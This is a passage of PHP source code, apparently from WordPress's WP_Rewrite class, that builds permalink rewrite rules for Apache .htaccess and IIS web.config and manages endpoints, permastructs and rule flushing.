}
return $this->rules;
}
/**
* Refreshes the rewrite rules, saving the fresh value to the database.
*
* If the {@see 'wp_loaded'} action has not occurred yet, will postpone saving to the database.
*
* @since 6.4.0
*/
private function refresh_rewrite_rules() {
$this->rules = '';
$this->matches = 'matches';
$this->rewrite_rules();
if ( ! did_action( 'wp_loaded' ) ) {
/*
* It is not safe to save the results right now, as the rules may be partial.
* Need to give all rules the chance to register.
*/
add_action( 'wp_loaded', array( $this, 'flush_rules' ) );
} else {
update_option( 'rewrite_rules', $this->rules );
}
}
/**
* Retrieves mod_rewrite-formatted rewrite rules to write to .htaccess.
*
* Does not actually write to the .htaccess file, but creates the rules for
* the process that will.
*
* Will add the non_wp_rules property rules to the .htaccess file before
* the WordPress rewrite rules one.
*
* @since 1.5.0
*
* @return string
*/
public function mod_rewrite_rules() {
if ( ! $this->using_permalinks() ) {
return '';
}
$site_root = parse_url( site_url() );
if ( isset( $site_root['path'] ) ) {
$site_root = trailingslashit( $site_root['path'] );
}
$home_root = parse_url( home_url() );
if ( isset( $home_root['path'] ) ) {
$home_root = trailingslashit( $home_root['path'] );
} else {
$home_root = '/';
}
$rules = "<IfModule mod_rewrite.c>\n";
$rules .= "RewriteEngine On\n";
$rules .= "RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n";
$rules .= "RewriteBase $home_root\n";
// Prevent -f checks on index.php.
$rules .= "RewriteRule ^index\.php$ - [L]\n";
// Add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all).
foreach ( (array) $this->non_wp_rules as $match => $query ) {
// Apache 1.3 does not support the reluctant (non-greedy) modifier.
$match = str_replace( '.+?', '.+', $match );
$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
}
if ( $this->use_verbose_rules ) {
$this->matches = '';
$rewrite = $this->rewrite_rules();
$num_rules = count( $rewrite );
$rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" .
"RewriteCond %{REQUEST_FILENAME} -d\n" .
"RewriteRule ^.*$ - [S=$num_rules]\n";
foreach ( (array) $rewrite as $match => $query ) {
// Apache 1.3 does not support the reluctant (non-greedy) modifier.
$match = str_replace( '.+?', '.+', $match );
if ( str_contains( $query, $this->index ) ) {
$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
} else {
$rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n";
}
}
} else {
$rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" .
"RewriteCond %{REQUEST_FILENAME} !-d\n" .
"RewriteRule . {$home_root}{$this->index} [L]\n";
}
$rules .= "</IfModule>\n";
/**
* Filters the list of rewrite rules formatted for output to an .htaccess file.
*
* @since 1.5.0
*
* @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
*/
$rules = apply_filters( 'mod_rewrite_rules', $rules );
/**
* Filters the list of rewrite rules formatted for output to an .htaccess file.
*
* @since 1.5.0
* @deprecated 1.5.0 Use the {@see 'mod_rewrite_rules'} filter instead.
*
* @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
*/
return apply_filters_deprecated( 'rewrite_rules', array( $rules ), '1.5.0', 'mod_rewrite_rules' );
}
/**
* Retrieves IIS7 URL Rewrite formatted rewrite rules to write to web.config file.
*
* Does not actually write to the web.config file, but creates the rules for
* the process that will.
*
* @since 2.8.0
*
* @param bool $add_parent_tags Optional. Whether to add parent tags to the rewrite rule sets.
* Default false.
* @return string IIS7 URL rewrite rule sets.
*/
public function iis7_url_rewrite_rules( $add_parent_tags = false ) {
if ( ! $this->using_permalinks() ) {
return '';
}
$rules = '';
if ( $add_parent_tags ) {
$rules .= '<configuration>
<system.webServer>
<rewrite>
<rules>';
}
$rules .= '
<rule name="WordPress: ' . esc_attr( home_url() ) . '" patternSyntax="Wildcard">
<match url="*" />
<conditions>
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
</conditions>
<action type="Rewrite" url="index.php" />
</rule>';
if ( $add_parent_tags ) {
$rules .= '
</rules>
</rewrite>
</system.webServer>
</configuration>';
}
/**
* Filters the list of rewrite rules formatted for output to a web.config.
*
* @since 2.8.0
*
* @param string $rules Rewrite rules formatted for IIS web.config.
*/
return apply_filters( 'iis7_url_rewrite_rules', $rules );
}
/**
* Adds a rewrite rule that transforms a URL structure to a set of query vars.
*
* Any value in the $after parameter that isn't 'bottom' will result in the rule
* being placed at the top of the rewrite rules.
*
* @since 2.1.0
* @since 4.4.0 Array support was added to the `$query` parameter.
*
* @param string $regex Regular expression to match request against.
* @param string|array $query The corresponding query vars for this rewrite rule.
* @param string $after Optional. Priority of the new rule. Accepts 'top'
* or 'bottom'. Default 'bottom'.
*/
public function add_rule( $regex, $query, $after = 'bottom' ) {
if ( is_array( $query ) ) {
$external = false;
$query = add_query_arg( $query, 'index.php' );
} else {
$index = ! str_contains( $query, '?' ) ? strlen( $query ) : strpos( $query, '?' );
$front = substr( $query, 0, $index );
$external = $front !== $this->index;
}
// "external" = it doesn't correspond to index.php.
if ( $external ) {
$this->add_external_rule( $regex, $query );
} else {
if ( 'bottom' === $after ) {
$this->extra_rules = array_merge( $this->extra_rules, array( $regex => $query ) );
} else {
$this->extra_rules_top = array_merge( $this->extra_rules_top, array( $regex => $query ) );
}
}
}
/**
* Adds a rewrite rule that doesn't correspond to index.php.
*
* @since 2.1.0
*
* @param string $regex Regular expression to match request against.
* @param string $query The corresponding query vars for this rewrite rule.
*/
public function add_external_rule( $regex, $query ) {
$this->non_wp_rules[ $regex ] = $query;
}
/**
* Adds an endpoint, like /trackback/.
*
* @since 2.1.0
* @since 3.9.0 $query_var parameter added.
* @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
*
* @see add_rewrite_endpoint() for full documentation.
* @global WP $wp Current WordPress environment instance.
*
* @param string $name Name of the endpoint.
* @param int $places Endpoint mask describing the places the endpoint should be added.
* Accepts a mask of:
* - `EP_ALL`
* - `EP_NONE`
* - `EP_ALL_ARCHIVES`
* - `EP_ATTACHMENT`
* - `EP_AUTHORS`
* - `EP_CATEGORIES`
* - `EP_COMMENTS`
* - `EP_DATE`
* - `EP_DAY`
* - `EP_MONTH`
* - `EP_PAGES`
* - `EP_PERMALINK`
* - `EP_ROOT`
* - `EP_SEARCH`
* - `EP_TAGS`
* - `EP_YEAR`
* @param string|bool $query_var Optional. Name of the corresponding query variable. Pass `false` to
* skip registering a query_var for this endpoint. Defaults to the
* value of `$name`.
*/
public function add_endpoint( $name, $places, $query_var = true ) {
global $wp;
// For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`.
if ( true === $query_var || null === $query_var ) {
$query_var = $name;
}
$this->endpoints[] = array( $places, $name, $query_var );
if ( $query_var ) {
$wp->add_query_var( $query_var );
}
}
/**
* Adds a new permalink structure.
*
* A permalink structure (permastruct) is an abstract definition of a set of rewrite rules;
* it is an easy way of expressing a set of regular expressions that rewrite to a set of
* query strings. The new permastruct is added to the WP_Rewrite::$extra_permastructs array.
*
* When the rewrite rules are built by WP_Rewrite::rewrite_rules(), all of these extra
* permastructs are passed to WP_Rewrite::generate_rewrite_rules() which transforms them
* into the regular expressions that many love to hate.
*
* The `$args` parameter gives you control over how WP_Rewrite::generate_rewrite_rules()
* works on the new permastruct.
*
* @since 2.5.0
*
* @param string $name Name for permalink structure.
* @param string $struct Permalink structure (e.g. category/%category%)
* @param array $args {
* Optional. Arguments for building rewrite rules based on the permalink structure.
* Default empty array.
*
* @type bool $with_front Whether the structure should be prepended with `WP_Rewrite::$front`.
* Default true.
* @type int $ep_mask The endpoint mask defining which endpoints are added to the structure.
* Accepts a mask of:
* - `EP_ALL`
* - `EP_NONE`
* - `EP_ALL_ARCHIVES`
* - `EP_ATTACHMENT`
* - `EP_AUTHORS`
* - `EP_CATEGORIES`
* - `EP_COMMENTS`
* - `EP_DATE`
* - `EP_DAY`
* - `EP_MONTH`
* - `EP_PAGES`
* - `EP_PERMALINK`
* - `EP_ROOT`
* - `EP_SEARCH`
* - `EP_TAGS`
* - `EP_YEAR`
* Default `EP_NONE`.
* @type bool $paged Whether archive pagination rules should be added for the structure.
* Default true.
* @type bool $feed Whether feed rewrite rules should be added for the structure. Default true.
* @type bool $forcomments Whether the feed rules should be a query for a comments feed. Default false.
* @type bool $walk_dirs Whether the 'directories' making up the structure should be walked over
* and rewrite rules built for each in-turn. Default true.
* @type bool $endpoints Whether endpoints should be applied to the generated rules. Default true.
* }
*/
public function add_permastruct( $name, $struct, $args = array() ) {
// Back-compat for the old parameters: $with_front and $ep_mask.
if ( ! is_array( $args ) ) {
$args = array( 'with_front' => $args );
}
if ( func_num_args() === 4 ) {
$args['ep_mask'] = func_get_arg( 3 );
}
$defaults = array(
'with_front' => true,
'ep_mask' => EP_NONE,
'paged' => true,
'feed' => true,
'forcomments' => false,
'walk_dirs' => true,
'endpoints' => true,
);
$args = array_intersect_key( $args, $defaults );
$args = wp_parse_args( $args, $defaults );
if ( $args['with_front'] ) {
$struct = $this->front . $struct;
} else {
$struct = $this->root . $struct;
}
$args['struct'] = $struct;
$this->extra_permastructs[ $name ] = $args;
}
/**
* Removes a permalink structure.
*
* @since 4.5.0
*
* @param string $name Name for permalink structure.
*/
public function remove_permastruct( $name ) {
unset( $this->extra_permastructs[ $name ] );
}
/**
* Removes rewrite rules and then recreate rewrite rules.
*
* Calls WP_Rewrite::wp_rewrite_rules() after removing the 'rewrite_rules' option.
* If the function named 'save_mod_rewrite_rules' exists, it will be called.
*
* @since 2.0.1
*
* @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard).
*/
public function flush_rules( $hard = true ) {
static $do_hard_later = null;
// Prevent this action from running before everyone has registered their rewrites.
if ( ! did_action( 'wp_loaded' ) ) {
add_action( 'wp_loaded', array( $this, 'flush_rules' ) );
$do_hard_later = ( isset( $do_hard_later ) ) ? $do_hard_later || $hard : $hard;
return;
}
if ( isset( $do_hard_later ) ) {
$hard = $do_hard_later;
unset( $do_hard_later );
}
$this->refresh_rewrite_rules();
/**
* Filters whether a "hard" rewrite rule flush should be performed when requested.
*
* A "hard" flush updates .htaccess (Apache) or web.config (IIS).
*
* @since 3.7.0
*
* @param bool $hard Whether to flush rewrite rules "hard". Default true.
*/
if ( ! $hard || ! apply_filters( 'flush_rewrite_rules_hard', true ) ) {
return;
}
if ( function_exists( 'save_mod_rewrite_rules' ) ) {
save_mod_rewrite_rules();
}
if ( function_exists( 'iis7_save_url_rewrite_rules' ) ) {
iis7_save_url_rewrite_rules();
}
}
/**
* Sets up the object's properties.
*
* The 'use_verbose_page_rules' object property will be set to true if the
* permalink structure begins with one of the following: '%postname%', '%category%',
* '%tag%', or '%author%'.
*
* @since 1.5.0
*/
public function init() {
$this->extra_rules = array();
$this->non_wp_rules = array();
$this->endpoints = array();
$this->permalink_structure = get_option( 'permalink_structure' );
$this->front = substr( $this->permalink_structure, 0, strpos( $this->permalink_structure, '%' ) );
$this->root = '';
if ( $this->using_index_permalinks() ) {
$this->root = $this->index . '/';
}
unset( $this->author_structure );
unset( $this->date_structure );
unset( $this->page_structure );
unset( $this->search_structure );
unset( $this->feed_structure );
unset( $this->comment_feed_structure );
$this->use_trailing_slashes = str_ends_with( $this->permalink_structure, '/' );
// Enable generic rules for pages if permalink structure doesn't begin with a wildcard.
if ( preg_match( '/^[^%]*%(?:postname|category|tag|author)%/', $this->permalink_structure ) ) {
$this->use_verbose_page_rules = true;
} else {
$this->use_verbose_page_rules = false;
}
}
/**
* Sets the main permalink structure for the site.
*
* Will update the 'permalink_structure' option, if there is a difference
* between the current permalink structure and the parameter value. Calls
* WP_Rewrite::init() after the option is updated.
*
* Fires the {@see 'permalink_structure_changed'} action once the init call has
* processed passing the old and new values
*
* @since 1.5.0
*
* @param string $permalink_structure Permalink structure.
*/
public function set_permalink_structure( $permalink_structure ) {
if ( $this->permalink_structure !== $permalink_structure ) {
$old_permalink_structure = $this->permalink_structure;
update_option( 'permalink_structure', $permalink_structure );
$this->init();
/**
* Fires after the permalink structure is updated.
*
* @since 2.8.0
*
* @param string $old_permalink_structure The previous permalink structure.
* @param string $permalink_structure The new permalink structure.
*/
do_action( 'permalink_structure_changed', $old_permalink_structure, $permalink_structure );
}
}
/**
* Sets the category base for the category permalink.
*
* Will update the 'category_base' option, if there is a difference between
* the current category base and the parameter value. Calls WP_Rewrite::init()
* after the option is updated.
*
* @since 1.5.0
*
* @param string $category_base Category permalink structure base.
*/
public function set_category_base( $category_base ) {
if ( get_option( 'category_base' ) !== $category_base ) {
update_option( 'category_base', $category_base );
$this->init();
}
}
/**
* Sets the tag base for the tag permalink.
*
* Will update the 'tag_base' option, if there is a difference between the
* current tag base and the parameter value. Calls WP_Rewrite::init() after
* the option is updated.
*
* @since 2.3.0
*
* @param string $tag_base Tag permalink structure base.
*/
public function set_tag_base( $tag_base ) {
if ( get_option( 'tag_base' ) !== $tag_base ) {
update_option( 'tag_base', $tag_base );
$this->init();
}
}
/**
* Constructor - Calls init(), which runs setup.
*
* @since 1.5.0
*/
public function __construct() {
$this->init();
}
}